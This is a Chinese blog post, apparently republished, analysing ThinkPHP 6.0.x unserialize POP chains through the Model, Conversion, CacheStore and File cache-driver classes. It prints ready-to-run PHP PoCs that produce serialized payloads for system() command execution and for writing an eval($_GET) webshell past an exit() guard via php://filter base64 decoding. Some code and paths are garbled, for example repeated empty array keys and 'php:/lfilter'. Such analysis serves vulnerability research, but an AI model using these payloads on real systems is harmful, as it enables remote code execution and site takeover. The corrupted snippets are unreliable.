tp6.0.8反序列化漏洞的一些看法

news2024/11/16 7:25:18
更多漏洞分析的内容,可前往无问社区查看icon-default.png?t=O83Ahttp://www.wwlib.cn/index.php/artread/artid/5741.html
环境搭建
composer create-project topthink/think=6.0.x-dev thinkphp-v6.0

首先构造一个反序列化点

app/controller/Index.php

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        if (isset($_POST['data'])) {
            @unserialize($_POST['data']);
        }
        highlight_string(file_get_contents(__FILE__));
    }
}

在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 __toString 之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 think\process\pipes\Windows 类,而POP链先从起点 __destruct() 或 __toString 方法的点。__wakeup 方法开始,因为它们就是unserialize的触发点。

寻找 __destruct 方法

我们全局搜索 __destruct() 方法,这里发现了 /vendor/topthink/think-orm/src/Model.php 中

Model 类的 __destruct 方法:

图片

当$ this->lazySave 为真时,调用save方法,跟进save方法

图片

跟进这里对 $this->exists 属性进行判断,如果为true则调用updateData()方法,如果为false则调用insertData()方法。而要想到达这一步,需要先满足下面这个if语句:

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
 return false;
 }

只需 $this->isEmpty() 为返回false,$this->trigger('BeforeWrite') 返回true即可。

进 $this->isEmpty() 方法:

public function isEmpty(): bool
 {
 return empty($this->data);
 }

这里$this->data 不为空即可

跟进$this->trigger() 方法

图片

此处需要满足$this->withEvent 为false

之后当 $this->exists == true 时进入 $this->updateData() ;当 入 ,$this->exists == false 时进$ this->insertData()

先跟进updateData()方法

图片

这里下一步的利用点存在于 $this->checkAllowFields() 中,但是要进入并调用该函数,需要先通过

两处if语句:

通过①处if语句:通过上面对trigger()方法的分析,我们知道需要令 $this->withEvent == false 即可通过。由于前面已经绕过了save()方法中的trigger(),所以这里就不用管了。

通过②处if语句:需要 $data == 1(非空)即可,所以我们跟进 $this->getChangedData() 方法(位于vendor\topthink\think-orm\src\model\concern\Attribute.php中)看一下:

图片

我们只需要令 $this->force == true 即可直接返回 $this-data ,而我们之前也需要设置 data 为非空。回到 $this updateData() 中,之后就可以成功调用到了 $this->checkAllowFields() ,跟进该函数

图片

这里需要调用到$this->db 方法,所以需令 $this->field 为空并且$this->schema 也为空。

图片

这两个字段默认为空,所以不需要管

之后进入db方法

图片

在该方法中使用了.进行字符串拼接,我们可以把 $this->table 或 $this->suffix 设置成相应的类对象,此时通过 . 拼接便可以把类对象当做字符串,就可以触发 __toString() 方法了

目前为止,前半条POP链已经完成,即可以通过字符串拼接去调用 __toString() ,所以先总结一下我们需要设置的点:

$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

调用过程如下:

PHP
 __destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . 
$this->suffix(字符串拼接)——>toString()
寻找 __toString() 方法

既然前半条POP链已经能够触发 __toString() 了,下面就是寻找利用点。这次漏洞的 __toString() 利用点位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion 的trait中:

public function __toString()
 {
 return $this->toJson();
 }

跟进toJson

 public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
 {
 return json_encode($this->toArray(), $options);
 }

跟进toArray

图片

跟进 getAttr()

图片

先看返回值 的 $this->getValue

这里的

$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);

注意看这里,我们是可以控制$this->withAttr 的,那么就等同于控制了$closure 可以作为动态函数,执行命令。根据这个点,我们来构造pop。

图片

POP链构造

入口点在src/Model.php 的__destruct ,我们需要控制函数$this->lazySave 为真来进入if循环调用save函数。

图片

在save函数中需要使$this->isEmpty() 为false,也就是$this->data 不为空,并且$this->trigger为true,也就是$this->withEvent 为true,该属性在src/model/concern/ModelEvent.php 中。之后再使$this->exists 为true即可进入updateData方法

图片

进入了updateDate方法之后,由于前面的$this->trigger 已经为true,只需要$data 不为空即可调用$ this->checkAllowFields() 方法,也就是src/model/concern/Attribute.php 里的getChangedDate方法不为空

图片

在getChangedDate中,如果$this->force 为true,则直接返回$this->date ,而已经不为空了

图片

$this->data 前面所以要想进入checkAllowFields方法,需要满足下满的条件

$this->lazySave == true
 $this->data不为空
$this->withEvent == false
 $this->exists == true
 $this->force == true

model 类是复用了trait 类 的,可以访问其属性,和方法。Model 类 是抽象类,不能被实例化,所以我们还需要找到其子类。

Pivot 类就是我们需要找的类。

现在已经成功执行到了 $this->checkAllowFields() ,还得进入 $this->db()

图片

这里只需要

$this->field 为空,

$this->schema 也为空即可进入db方法

图片

将 $this->name 或 $this->suffix 设置为含有_tostring的类对象就可以触发此魔术方法

这里注意的是,我们需要触发-tostring 的类是conversion 类而这个类是trait类,而当前的mode1类是 复用了 conversion 类的,所以我们相当于重新调用一遍 pivot 类。也就是重新调用一下自己,触发自己的的-tostring方法

调用__toString 方法的poc
 <?php
 namespace think\model\concern;
 trait Attribute{
 private $data=['456'=>'123'];
 }
 trait ModelEvent{
 protected $withEvent = true;
 }
 namespace think;
 abstract class Model{
 use model\concern\Attribute;
 use model\concern\ModelEvent;
 private $exists;
 private $force;
 private $lazySave;
 protected $suffix;
 function __construct($a = '')
 {
 $this->exists = true;
 $this->force = true;
 $this->lazySave = true;
 $this->withEvent = false;
 $this->suffix = $a;
 }
 }
 namespace think\model;
 use think\Model;
 class Pivot extends Model{}
 echo urlencode(serialize(new Pivot(new Pivot())));
 ?>

之后便是__toString 的构造了,在vendor/topthink/thinkorm/src/model/concern/Conversion.php 里面。首先是进入toJson

图片

然后调用toArray

图片

在toArray中会调用getAttr

图片

前面两个foreach 不做处理,再下来这个foreach会进入最后一个if分支),调用getAttr方法。这个foreach是遍历$this->data,然后将$data的$key传入 getAttr

该函数是在src/mode1/concern/Attribute.php中

图片

然后进入getValue

图片

我们只需要将$closure设置为system等函数即可执行任意命令,也就是$this->withAttr[$fie1dName] ,也就是$this->withAttr[$this->getRea7Fie1dName($name)]

图片

其中$this->strict默认为true,如果将sthis->convertNameTocame1设置为false,则会直接返回$name

所以就相当于$this->withAttr[$name]为一个命令执行函数,$name就是getAttr中的$key,也就是$data的键值

图片

其中参数值就是$this->getData($name)

图片

相当于data数组中的键值。withAttr数组中的键值为函数,data数组中的键值为参数,并且键名需要相同

命令执行POC1

<?php
namespace think\model\concern;

trait Attribute {
    private $data = ['cyz' => 'whoami'];
    private $withAttr = ['cyz' => 'system'];
}

trait ModelEvent {
    protected $withEvent = true;
}

namespace think;

abstract class Model {
    use model\concern\Attribute;
    use model\concern\ModelEvent;

    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;

    function __construct($a = '') {
        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model {}

echo urlencode(serialize(new Pivot(new Pivot())));
?>

图片

命令执行POC2

也可以直接令$this->exists = false;,进入insertData方法,直接调用db

<?php
namespace think\model\concern;

trait Attribute {
    private $data = ['cyz' => 'whoami'];
    private $withAttr = ['cyz' => 'system'];
}

trait ModelEvent {
    protected $withEvent = true;
}

namespace think;

abstract class Model {
    use model\concern\Attribute;
    use model\concern\ModelEvent;

    private $exists;
    private $lazySave;
    protected $suffix;

    function __construct($a = '') {
        $this->exists = false;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model {}

echo urlencode(serialize(new Pivot(new Pivot())));
?>
其他利用链
寻找__destruct方法


在vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 文件中找到个可以利用的__destruct 方法

图片

当$this->autosave为false时进入save方法

进入save函数,发现并没有实现什么功能,所以我们需要寻找Abstractcache类的子类有没有实现该函数

在src/think/filesystem/cachestore.php中存在符合条件的子类

图片

这里$this->store可控,所以我们可以触发任意类的set方法,只要找到任意类存在危险操作的set方法即可利用

跟进getForStorage函数

$this->cache可控,$this->complete可控,因此$contents可控,只不过经过一次json编码

图片

寻找危险的set方法

图片

在vendor/topthink/framework/src/think/cache/driver/File.php 中存在符合条件的set方法

public function set($name, $value, $expire = null): bool
 {
 $this->writeTimes++;
 if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);
        $dir = dirname($filename);
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . 
$data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            clearstatcache();
            return true;
        }
        return false;
    }

$this->getExpireTime($expire)是返回一个整数,跟进getCacheKey

图片

$this->options可控,所以getcacheKey返回的值可控跟进一下serialize

图片

$this->options[ 'serialize'][0]可控,$serialize可控,$data为我们传入set函数的

$value,也就是$this->store->set($this->key,$contents,$this->expire);中的$content,是可控的。只不过此时$data经过json编码

所以这里可以构造动态代码执行

POC1
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache{
}

namespace think\cache;
use think\cache\Driver;
abstract class Driver{
}

namespace think\cache\driver;
use think\cache\driver;
class File extends Driver{
    protected $options = [];
    public function __construct(){
        $this->options = [
            'expire'         => 0,
            'cache_subdir'   => false,
            'prefix'         => '',
            'path'           => '',
            'hash_type'      => '',
            ''               => '',
            ''               => 'md5',
            'data_compress'  => false,
            'tag_prefix'     => 'tag:',
            'serialize'      => ['system']
        ];
    }
}

namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache{
    protected $store;
    protected $key;
    protected $autosave;
    protected $complete;
    public function __construct($store)
    {
        $this->autosave = false;
        $this->key = "1";
        $this->complete = '`sleep 10`';
        $this->store  = $store;
    }
}

use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "<br>";
echo urlencode(serialize($a));
?>

图片

这里成功调用了systm命令,在linux中可以使用反引号来进行无回显的命令执行
继续往下会看到一个任意文件写入

$data   
= "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

经典“死亡exit",可以伪协议绕过,最后文件名是$key的md5$name = hash($this->options['hash_type'],$name);

$name为文件名,来源于$this->key,可控,$this->options['hash_type]也可控。最终文件名是经过hash后的,所以最终文件名可控(本文演示POC中$key= "1",$this->options['hash_type']= 'md5',所以最终文件名为1的md5值)。

$this->options['path']使用php filter构造php:/lfilter/write=convert.base64-decode/resource=think/public/指向tp6根目录

最终拼接后的$filename为

php:/lfilterlwrite=convert.base64-decode/resource=./

此外,为了确保php伪协议进行base64解码之后我们的shell不受影响,所以要计算解码前的字符数。假设传入的$expire=0,那么shell前面部分在拼接之后能够被解码的有效字符为:

php//000000000001exit共有21个,要满足base64解码的4字符为1组的规则,在其前面补上3个字符用于逃逸之后的base64解码的影响。但是实际上会少一个<所以在base64编码的时候需要使用两个<<

图片

POC2


https://www.heibai.org/1604.html
https://www.cnblogs.com/20175211lyz/p/13639789.html
https://new.qq.com/omn/20200629/20200629A0RG1800.html

<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache{
}

namespace think\cache;
use think\cache\Driver;
abstract class Driver{
}

namespace think\cache\driver;
use think\cache\driver;
class File extends Driver{
    protected $options = [];
    public function __construct(){
        $this->options = [
            'expire'         => 0,
            'cache_subdir'   => false,
            'prefix'         => '',
            'path'           => './',
            'hash_type'      => '',
            ''               => 'php://filter/write=convert.base64',
            ''               => 'md5',
            'data_compress'  => false,
            'tag_prefix'     => 'tag:',
            'serialize'      => ['trim']      //使用trim去掉[]
        ];
    }
}

namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache{
    protected $store;
    protected $key;
    protected $autosave;
    protected $complete;
    public function __construct($store)
    {
        $this->autosave = false;
        $this->key = "1";
        $this->complete = 'uuuPDw/cGhwIHBocGluZm8oKTtldmFsKCRfR0VUWzFdKTs/PiA=';
        $this->store  = $store;
    }
}

use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "<br>";
echo urlencode(serialize($a));
?>

图片

POC3

https://yq1ng.github.io/z_post/ctfshow-thinkphp%E4%B8%93%E9%A2%98/

<?php
namespace League\Flysystem\Cached\Storage {
    use League\Flysystem\Adapter\Local;
    class Adapter {
        protected $autosave = true;
        protected $expire = null;
        protected $adapter;
        protected $file;
        public function __construct() {
            $this->autosave = false;
            $this->expire = '<?php ;?>';
            $this->adapter = new Local();
            $this->file = 'yq1ng.php';
        }
    }
}
namespace League\Flysystem\Adapter {
    class Local {
    }
}
namespace {
    use League\Flysystem\Cached\Storage\Adapter;
    echo urlencode(serialize(new Adapter()));
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2133912.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Claude Prompt 汉语新解

感谢刚哥&#xff01; ;; 作者: 李继刚 ;; 版本: 0.3 ;; 模型: Claude Sonnet ;; 用途: 将一个汉语词汇进行全新角度的解释 ​ ;; 设定如下内容为你的 *System Prompt* (defun 新汉语老师 () "你是年轻人,批判现实,思考深刻,语言风趣" (风格 . ("Oscar Wilde&q…

Linux shell编程学习笔记78:cpio命令——文件和目录归档工具(上)

0 前言 在Linux系统中&#xff0c;除了tar命令&#xff0c;我们还可以使用cpio命令来进行文件和目录的归档。 1 cpio命令的功能&#xff0c;帮助信息&#xff0c;格式&#xff0c;选项和参数说明 1.1 cpio命令的功能 cpio 名字来自 "copy in, copy out"&#xf…

Redis网络模型、通信协议、内存回收

Redis网络模型 一、用户空间和内核空间&#xff08;前提&#xff09;问题来了&#xff1a;为啥要区分用户空间和内核空间呢&#xff1f;我们来看看两个空间以及硬件是如何操作的 二、Linux中五种IO模型1、 阻塞IO2、非阻塞IO3、IO多路复用3.1、SELECT3.2、poll3.3、epoll 4、信…

北大领衔:多智能体研究登上Nature子刊

这篇笔记可以作为接EoT那篇笔记内容中某种思想内涵的延伸和实践&#xff0c;即均是将智能体之间的关系描述为一种拓扑连接结构下的网络化关系进行研究&#xff08;贴近物理世界更加真实、自然、客观的拓扑结构&#xff09;&#xff0c;在这项研究中&#xff0c;更多的扩展到大规…

SpringCloud-04 OpenFeign服务调用与负载均衡

OpenFeign是一个声明式、模板化的HTTP客户端&#xff0c;它简化了在Java应用程序中调用RESTful API的过程。OpenFeign是Netflix开发的一个开源项目&#xff0c;它构建在Feign的基础上&#xff0c;为开发者提供了更加简单、灵活的方式来实现HTTP请求。OpenFeign的特点包括&#…

蓝桥杯真题——约翰的牛奶

输入样例&#xff1a; 8 9 10 输出样例&#xff1a; 1 2 8 9 10 本题是宽搜的模版题&#xff0c;不论怎么倒牛奶&#xff0c;A,B,C 桶里的牛奶可以看做一个三元点集 我们只要找到A桶是空的&#xff0c;B,C桶中的状态即可 #include <iostream> #include <cstring…

四、滑动窗口-算法总结

文章目录 四、滑动窗口4.1 模板4.2 示例4.2.1 最小覆盖子串4.2.2 字符串的排列4.2.3 找到字符串中所有字母异位词4.2.4 无重复字符的最长子串 四、滑动窗口 4.1 模板 /* 滑动窗口算法框架 */ void slidingWindow(string s, string t) {unordered_map<char, int> need, …

【C++题解】1398. 奇偶统计

欢迎关注本专栏《C从零基础到信奥赛入门级&#xff08;CSP-J&#xff09;》 问题&#xff1a;1398. 奇偶统计 类型&#xff1a;二维数组 题目描述&#xff1a; 在一个n行m列的二维数组中&#xff0c;有若干奇数和偶数&#xff0c;请编程统计出这个二维数组中&#xff0c;奇数…

使用canal.deployer-1.1.7和canal.adapter-1.1.7实现mysql数据同步

1、下载地址 --查看是否开启bin_log日志&#xff0c;value on表示开启 SHOW VARIABLES LIKE log_bin; -- 查看bin_log日志文件 SHOW BINARY LOGS; --查看bin_log写入状态 SHOW MASTER STATUS; --查看bin_log存储格式 row SHOW VARIABLES LIKE binlog_format; --查看数据库服…

actuator字符绕过漏洞在Nginx上的配置

最近遇到了安全部门派发的actuator泄漏漏洞&#xff0c;领导希望不暴露到外网上&#xff0c;对于内网需要认证才可以访问。 要想不暴露到外网上&#xff0c;就需要在网络层面做拦截&#xff0c;比如nginx和apisix上做代理配置。 URI字符绕过的风险背景知识: URI字符绕过是一种安…

【笔记】第二节 熔炼、轧制、热处理和焊接工艺

文章目录 2.1 钢轨冶炼工艺2.1.1 冶炼工艺(1)铁水预处理(2)转炉合金化冶炼(3)钢包精炼工艺&#xff08;LF&#xff08;Ladle Furnace&#xff09;炉&#xff09; 2.1.2 技术要点(1) LF精炼(2) 夹杂物及有害元素控制非金属夹杂物P和S杂质气体 (3) 铸造组织控制钢轨材质的特点铸造…

雷尼绍圆光栅差分ABZ测量问题

雷尼绍圆光栅差分ABZ测量问题 文章目录 雷尼绍圆光栅差分ABZ测量问题引言一 设备1.1 雷尼绍圆光栅1.2 永磁同步电机1.3 M新动力驱动控制器 二 问题2.1 关于圆光栅2.1.1 电机静止时存在位置抖动问题2.1.2 脉冲数计算问题 引言 最近在调试FOC控制&#xff0c;位置反馈采用的是雷…

基于Ubuntu2404搭建mysql8配置远程访问

使用系统为Ubuntu2404&#xff0c;mysql8版本为8.0.36 安装mysql apt install -y mysql-server设置开机自启动 systemctl enable --now mysql修改密码&#xff0c;似乎是bug&#xff0c;修改密码第一次不成功&#xff0c;第二次可以 mysql use mysql; update user set Host…

局域网UDP通信实验

环境&#xff1a; 一个随身WIFI 一台笔记本电脑 一部手机 随身WIFI连接电脑 手机连接WIFI 此时手机和电脑在同一局域网中 手机IPV4地址&#xff1a;192.168.0.20 电脑IPV4地址&#xff1a;192.168.0.39 电脑端使用两台windows系统计算机简单TCP通信测试_两台计算机tcp通信-CSDN…

性能测试:Locust使用介绍(五)

事件钩子 Locust附带了许多事件钩子&#xff0c;可用于以不同的方式扩展Locust。 例如&#xff0c;以下是如何设置一个事件监听器&#xff0c;该监听器将在请求完成后触发&#xff1a; from locust import eventsevents.request.add_listener def my_request_handler(reques…

通信工程学习:什么是EDFA掺铒光纤放大器

EDFA&#xff1a;掺铒光纤放大器 EDFA&#xff0c;即掺铒光纤放大器&#xff08;Erbium-Doped Fiber Amplifier&#xff09;&#xff0c;是一种在光纤通信中广泛使用的光放大器件。以下是对EDFA的详细解释&#xff1a; 一、定义与基本原理 EDFA是在石英光纤中掺入少量的稀土元…

fpga系列 HDL:全连接层实现单个神经元PE(组成:FADD+FM)+vivado单模块仿真

vivado单模块仿真 右键模块的tb.v文件-》“Set as Top” -》点击左侧的“Run Simulation” vivado单模块综合 也可将其他模块暂时Disable PE模块单独综合的结果: 单个神经元PE的结构 processingElement.v 该模块计算两个浮点数的乘积&#xff0c;并将乘积与当前结果相加。最…

Django笔记一:搭建Django环境与URL路径访问

博主之前学从Java后端开发&#xff0c;后面获取到读研资格&#xff0c;想着未来转算法岗&#xff0c;初学Python&#xff0c;发现Python还挺有趣的&#xff0c;由于之前所学后端缘故&#xff0c;有点后端情节&#xff0c;想学习一下Django框架&#xff08;python的web框架&…

Unix时间戳与C语言的time.h库函数

目录 Unix时间戳介绍 UTC/GMT 时间与秒计数器转换代码 time.h库函数 Unix时间戳介绍 Unix 时间戳&#xff08;Unix Timestamp&#xff09;定义为从UTC/GMT的1970年1月1日0时0分0秒开始所经过的秒数&#xff0c;不考虑闰秒 时间戳存储在一个秒计数器中&#xff0c;秒计数器…

Ajax 揭秘:异步 Web 交互的艺术

Ajax 揭秘&#xff1a;异步 Web 交互的艺术 一 . Ajax 的概述1.1 什么是 Ajax ?1.2 同步和异步的区别1.3 Ajax 的应用场景1.3.1 注册表单的用户名异步校验1.3.2 内容自动补全 二 . Ajax 的交互模型和传统交互模型的区别三 . Ajax 异步请求 axios3.1 axios 介绍3.1.1 使用步骤3…